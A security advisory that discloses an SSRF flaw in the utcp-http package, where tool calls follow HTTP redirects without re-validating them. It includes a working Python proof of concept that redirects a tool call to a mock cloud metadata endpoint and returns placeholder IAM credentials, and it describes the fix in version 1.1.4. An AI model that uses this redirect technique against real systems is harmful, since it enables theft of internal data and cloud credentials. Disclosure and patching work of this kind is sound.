PT-2026-86156 · Pypi · @Utcp/Http

Published

2026-08-25

·

Updated

2026-08-25

CVSS v3.1

8.2

High

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Summary

HttpCommunicationProtocol.call tool validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore 302-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.
This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.

Root cause

  1. The resolved URL is validated once, before the request:
https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication protocols/http/src/utcp http/http communication protocol.py#L281
  1. The request is then made with aiohttp's default allow redirects=True and no per-hop revalidation, so the redirect target bypasses the check entirely:
https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communication protocols/http/src/utcp http/http communication protocol.py#L313-L332
The validator ( security.py) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.

Reachability

Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any https://, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.

Preconditions

  • The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised.
  • The initial tool URL passes ensure secure url — trivially met by any https:// URL or a benign attacker-owned host; the attacker only needs to return a 3xx Location.
  • The tool is invoked (call tool) after registration.
  • An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated GET (cloud metadata, internal admin panel, unauth datastore, link-local endpoint).
  • The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body.
  • For the IAM-credential outcome specifically: the host runs on a cloud instance with IMDSv1 enabled. IMDSv2-only hosts block this exact result (it needs a PUT for a session token), but other internal-SSRF targets remain reachable.

PoC

The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released HttpCommunicationProtocol; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like 169.254.169.254.
Run: pip install utcp-http==1.1.3 aiohttp && python poc.py
python
import asyncio, socket
from aiohttp import web
from utcp http.http communication protocol import HttpCommunicationProtocol
from utcp http.http call template import HttpCallTemplate

MD = "/latest/meta-data/iam/security-credentials/app-role"
STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY",
     "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}

def lan ip():
  s = socket.socket(socket.AF INET, socket.SOCK DGRAM)
  try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0]
  finally: s.close()

async def main():
  internal = lan ip()
  meta = web.Application(); meta.router.add get(MD, lambda r: web.json response(STOLEN))
  mr = web.AppRunner(meta, access log=None); await mr.setup()
  ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start()
  internal url = f"http://{internal}:{ms. server.sockets[0].getsockname()[1]}{MD}"

  atk = web.Application()
  atk.router.add get("/tool", lambda r: web.Response(status=302, headers={"Location": internal url}))
  ar = web.AppRunner(atk, access log=None); await ar.setup()
  as = web.TCPSite(ar, "127.0.0.1", 0); await as .start()
  tool url = f"http://127.0.0.1:{as . server.sockets[0].getsockname()[1]}/tool"

  proto = HttpCommunicationProtocol()
  ct = HttpCallTemplate(name="lookup", url=tool url, http method="GET") # passes the validator
  result = await proto.call tool(None, "lookup", {}, ct)         # follows 302 -> internal
  print("caller received:", result)
  await ar.cleanup(); await mr.cleanup()

asyncio.run(main())
Output:
caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}

Impact

Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.

Possible fix

Disable automatic redirects for tool invocation (allow redirects=False) and, if redirects must be supported, re-run ensure secure url on every hop's Location before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual https://-to-internal case as well.

Patched

Fixed in utcp-http 1.1.4. security.py now ships safe request with redirects, a per-hop revalidator that disables aiohttp's auto-follow, runs ensure secure url on every Location header before issuing the next hop, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP plugins use it for both register manual and call tool; SSE + streamable handshakes additionally reject any 3xx outright because the streaming response has to stay open for the lifetime of the call. The OAuth2 token-fetch path uses the same helper, closing the redirect-on-token-URL variant.
The sister TypeScript implementation @utcp/http is fixed the same way in 1.1.4.
Upgrade to utcp-http >= 1.1.4. No workaround in earlier versions short of disabling all attacker-influenced manuals.

Fix

SSRF

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-918

Related Identifiers

GHSA-9QHG-99WW-9MQC

Affected Products

@Utcp/Http